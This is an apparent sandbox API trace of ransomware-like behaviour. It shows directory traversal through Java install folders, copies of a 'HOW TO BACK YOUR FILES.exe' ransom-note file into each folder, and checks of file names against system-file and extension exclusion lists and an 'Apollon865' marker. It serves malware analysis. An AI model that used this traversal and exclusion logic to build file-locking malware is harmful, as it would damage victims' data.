	[0055.370] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3913e3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3913e3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.379] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.379] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.379] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3913e3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3913e3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.379] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="Apollon865.txt.exe") returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2=".") returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="..") returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="windows") returned -1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="bootmgr") returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="temp") returned -1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="pagefile.sys") returned -1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="boot") returned 1
	[0055.379] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="ids.txt") returned -1
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="ntuser.dat") returned -1
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="perflogs") returned -1
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2="MSBuild") returned -1
	[0055.380] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0055.380] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*") returned 42
	[0055.380] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="CIEXYZ.pf" | out: lpString1="CIEXYZ.pf") returned="CIEXYZ.pf"
	[0055.380] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0055.380] lstrlenW (lpString="Apollon865") returned 10
	[0055.380] lstrlenW (lpString=".dll") returned 4
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2=".dll") returned 1
	[0055.380] lstrlenW (lpString=".lnk") returned 4
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2=".lnk") returned 1
	[0055.380] lstrlenW (lpString=".ini") returned 4
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2=".ini") returned 1
	[0055.380] lstrlenW (lpString=".sys") returned 4
	[0055.380] lstrcmpiW (lpString1="CIEXYZ.pf", lpString2=".sys") returned 1
	[0055.380] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0055.380] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="GRAY.pf" | out: lpString1="GRAY.pf") returned="GRAY.pf"
	[0055.380] lstrlenW (lpString="GRAY.pf") returned 7
	[0055.380] lstrlenW (lpString="Apollon865") returned 10
	[0055.380] lstrlenW (lpString=".dll") returned 4
	[0055.380] lstrcmpiW (lpString1="GRAY.pf", lpString2=".dll") returned 1
	[0055.380] lstrlenW (lpString=".lnk") returned 4
	[0055.380] lstrcmpiW (lpString1="GRAY.pf", lpString2=".lnk") returned 1
	[0055.380] lstrlenW (lpString=".ini") returned 4
	[0055.380] lstrcmpiW (lpString1="GRAY.pf", lpString2=".ini") returned 1
	[0055.380] lstrlenW (lpString=".sys") returned 4
	[0055.380] lstrcmpiW (lpString1="GRAY.pf", lpString2=".sys") returned 1
	[0055.380] lstrlenW (lpString="GRAY.pf") returned 7
	[0055.381] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="LINEAR_RGB.pf" | out: lpString1="LINEAR_RGB.pf") returned="LINEAR_RGB.pf"
	[0055.381] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0055.381] lstrlenW (lpString="Apollon865") returned 10
	[0055.381] lstrcmpiW (lpString1="EAR_RGB.pf", lpString2="Apollon865") returned 1
	[0055.381] lstrlenW (lpString=".dll") returned 4
	[0055.381] lstrcmpiW (lpString1="LINEAR_RGB.pf", lpString2=".dll") returned 1
	[0055.381] lstrlenW (lpString=".lnk") returned 4
	[0055.381] lstrcmpiW (lpString1="LINEAR_RGB.pf", lpString2=".lnk") returned 1
	[0055.381] lstrlenW (lpString=".ini") returned 4
	[0055.381] lstrcmpiW (lpString1="LINEAR_RGB.pf", lpString2=".ini") returned 1
	[0055.381] lstrlenW (lpString=".sys") returned 4
	[0055.381] lstrcmpiW (lpString1="LINEAR_RGB.pf", lpString2=".sys") returned 1
	[0055.381] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0055.381] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="PYCC.pf" | out: lpString1="PYCC.pf") returned="PYCC.pf"
	[0055.381] lstrlenW (lpString="PYCC.pf") returned 7
	[0055.381] lstrlenW (lpString="Apollon865") returned 10
	[0055.381] lstrlenW (lpString=".dll") returned 4
	[0055.381] lstrcmpiW (lpString1="PYCC.pf", lpString2=".dll") returned 1
	[0055.381] lstrlenW (lpString=".lnk") returned 4
	[0055.381] lstrcmpiW (lpString1="PYCC.pf", lpString2=".lnk") returned 1
	[0055.381] lstrlenW (lpString=".ini") returned 4
	[0055.381] lstrcmpiW (lpString1="PYCC.pf", lpString2=".ini") returned 1
	[0055.381] lstrlenW (lpString=".sys") returned 4
	[0055.381] lstrcmpiW (lpString1="PYCC.pf", lpString2=".sys") returned 1
	[0055.381] lstrlenW (lpString="PYCC.pf") returned 7
	[0055.381] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="sRGB.pf" | out: lpString1="sRGB.pf") returned="sRGB.pf"
	[0055.381] lstrlenW (lpString="sRGB.pf") returned 7
	[0055.381] lstrlenW (lpString="Apollon865") returned 10
	[0055.382] lstrlenW (lpString=".dll") returned 4
	[0055.382] lstrcmpiW (lpString1="sRGB.pf", lpString2=".dll") returned 1
	[0055.382] lstrlenW (lpString=".lnk") returned 4
	[0055.382] lstrcmpiW (lpString1="sRGB.pf", lpString2=".lnk") returned 1
	[0055.382] lstrlenW (lpString=".ini") returned 4
	[0055.382] lstrcmpiW (lpString1="sRGB.pf", lpString2=".ini") returned 1
	[0055.382] lstrlenW (lpString=".sys") returned 4
	[0055.382] lstrcmpiW (lpString1="sRGB.pf", lpString2=".sys") returned 1
	[0055.382] lstrlenW (lpString="sRGB.pf") returned 7
	[0055.382] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet"
	[0055.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0055.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.382] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned 43
	[0055.382] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet"
	[0055.382] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.382] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\applet\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.386] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.386] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39164530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.386] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.386] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.386] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.386] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39164530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.386] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.386] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.386] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.386] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.387] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39164530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.387] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.387] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39164530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0055.387] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.387] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
	[0055.387] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin"
	[0055.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0055.387] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0055.387] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin") returned 36
	[0055.387] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin"
	[0055.387] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.387] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.396] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.396] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39164530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.403] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.403] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.403] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.403] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39164530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39164530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.403] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.403] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.403] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.403] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.404] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2=".") returned 1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="..") returned 1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="windows") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="bootmgr") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="temp") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="pagefile.sys") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="boot") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="ids.txt") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="ntuser.dat") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="perflogs") returned -1
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2="MSBuild") returned -1
	[0055.404] lstrlenW (lpString="awt.dll") returned 7
	[0055.404] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\*") returned 38
	[0055.404] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="awt.dll" | out: lpString1="awt.dll") returned="awt.dll"
	[0055.404] lstrlenW (lpString="awt.dll") returned 7
	[0055.404] lstrlenW (lpString="Apollon865") returned 10
	[0055.404] lstrlenW (lpString=".dll") returned 4
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2=".dll") returned 1
	[0055.404] lstrlenW (lpString=".lnk") returned 4
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2=".lnk") returned 1
	[0055.404] lstrlenW (lpString=".ini") returned 4
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2=".ini") returned 1
	[0055.404] lstrlenW (lpString=".sys") returned 4
	[0055.404] lstrcmpiW (lpString1="awt.dll", lpString2=".sys") returned 1
	[0055.404] lstrlenW (lpString="awt.dll") returned 7
	[0055.404] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="axbridge.dll" | out: lpString1="axbridge.dll") returned="axbridge.dll"
	[0055.404] lstrlenW (lpString="axbridge.dll") returned 12
	[0055.405] lstrlenW (lpString="Apollon865") returned 10
	[0055.405] lstrcmpiW (lpString1="bridge.dll", lpString2="Apollon865") returned 1
	[0055.405] lstrlenW (lpString=".dll") returned 4
	[0055.405] lstrcmpiW (lpString1="axbridge.dll", lpString2=".dll") returned 1
	[0055.405] lstrlenW (lpString=".lnk") returned 4
	[0055.405] lstrcmpiW (lpString1="axbridge.dll", lpString2=".lnk") returned 1
	[0055.405] lstrlenW (lpString=".ini") returned 4
	[0055.405] lstrcmpiW (lpString1="axbridge.dll", lpString2=".ini") returned 1
	[0055.405] lstrlenW (lpString=".sys") returned 4
	[0055.405] lstrcmpiW (lpString1="axbridge.dll", lpString2=".sys") returned 1
	[0055.405] lstrlenW (lpString="axbridge.dll") returned 12
	[0055.405] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="client" | out: lpString1="client") returned="client"
	[0055.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0055.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x598468
	[0055.405] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0055.405] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2=".") returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="..") returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="windows") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="bootmgr") returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="temp") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="pagefile.sys") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="boot") returned 1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="ids.txt") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="ntuser.dat") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="perflogs") returned -1
	[0055.405] lstrcmpiW (lpString1="dcpr.dll", lpString2="MSBuild") returned -1
	[0055.405] lstrlenW (lpString="dcpr.dll") returned 8
	[0055.405] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned 43
	[0055.405] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="dcpr.dll" | out: lpString1="dcpr.dll") returned="dcpr.dll"
	[0055.406] lstrlenW (lpString="dcpr.dll") returned 8
	[0055.406] lstrlenW (lpString="Apollon865") returned 10
	[0055.406] lstrlenW (lpString=".dll") returned 4
	[0055.406] lstrcmpiW (lpString1="dcpr.dll", lpString2=".dll") returned 1
	[0055.406] lstrlenW (lpString=".lnk") returned 4
	[0055.406] lstrcmpiW (lpString1="dcpr.dll", lpString2=".lnk") returned 1
	[0055.406] lstrlenW (lpString=".ini") returned 4
	[0055.406] lstrcmpiW (lpString1="dcpr.dll", lpString2=".ini") returned 1
	[0055.406] lstrlenW (lpString=".sys") returned 4
	[0055.406] lstrcmpiW (lpString1="dcpr.dll", lpString2=".sys") returned 1
	[0055.406] lstrlenW (lpString="dcpr.dll") returned 8
	[0055.406] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="decora-sse.dll" | out: lpString1="decora-sse.dll") returned="decora-sse.dll"
	[0055.406] lstrlenW (lpString="decora-sse.dll") returned 14
	[0055.406] lstrlenW (lpString="Apollon865") returned 10
	[0055.406] lstrcmpiW (lpString1="ra-sse.dll", lpString2="Apollon865") returned 1
	[0055.406] lstrlenW (lpString=".dll") returned 4
	[0055.406] lstrcmpiW (lpString1="decora-sse.dll", lpString2=".dll") returned 1
	[0055.406] lstrlenW (lpString=".lnk") returned 4
	[0055.406] lstrcmpiW (lpString1="decora-sse.dll", lpString2=".lnk") returned 1
	[0055.406] lstrlenW (lpString=".ini") returned 4
	[0055.406] lstrcmpiW (lpString1="decora-sse.dll", lpString2=".ini") returned 1
	[0055.406] lstrlenW (lpString=".sys") returned 4
	[0055.406] lstrcmpiW (lpString1="decora-sse.dll", lpString2=".sys") returned 1
	[0055.406] lstrlenW (lpString="decora-sse.dll") returned 14
	[0055.406] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="deploy.dll" | out: lpString1="deploy.dll") returned="deploy.dll"
	[0055.406] lstrlenW (lpString="deploy.dll") returned 10
	[0055.406] lstrlenW (lpString="Apollon865") returned 10
	[0055.406] lstrlenW (lpString=".dll") returned 4
	[0055.406] lstrcmpiW (lpString1="deploy.dll", lpString2=".dll") returned 1
	[0055.406] lstrlenW (lpString=".lnk") returned 4
	[0055.406] lstrcmpiW (lpString1="deploy.dll", lpString2=".lnk") returned 1
	[0055.407] lstrlenW (lpString=".ini") returned 4
	[0055.407] lstrcmpiW (lpString1="deploy.dll", lpString2=".ini") returned 1
	[0055.407] lstrlenW (lpString=".sys") returned 4
	[0055.407] lstrcmpiW (lpString1="deploy.dll", lpString2=".sys") returned 1
	[0055.407] lstrlenW (lpString="deploy.dll") returned 10
	[0055.407] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="dtplugin" | out: lpString1="dtplugin") returned="dtplugin"
	[0055.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0055.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c55f8
	[0055.407] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0055.407] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="Apollon865.txt.exe") returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2=".") returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="..") returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="windows") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="bootmgr") returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="temp") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="pagefile.sys") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="boot") returned 1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="ids.txt") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="ntuser.dat") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="perflogs") returned -1
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2="MSBuild") returned -1
	[0055.407] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0055.407] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned 45
	[0055.407] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="dt_shmem.dll" | out: lpString1="dt_shmem.dll") returned="dt_shmem.dll"
	[0055.407] lstrlenW (lpString="dt_shmem.dll") returned 12
	[0055.407] lstrlenW (lpString="Apollon865") returned 10
	[0055.407] lstrcmpiW (lpString1="_shmem.dll", lpString2="Apollon865") returned -1
	[0055.407] lstrlenW (lpString=".dll") returned 4
	[0055.407] lstrcmpiW (lpString1="dt_shmem.dll", lpString2=".dll") returned 1
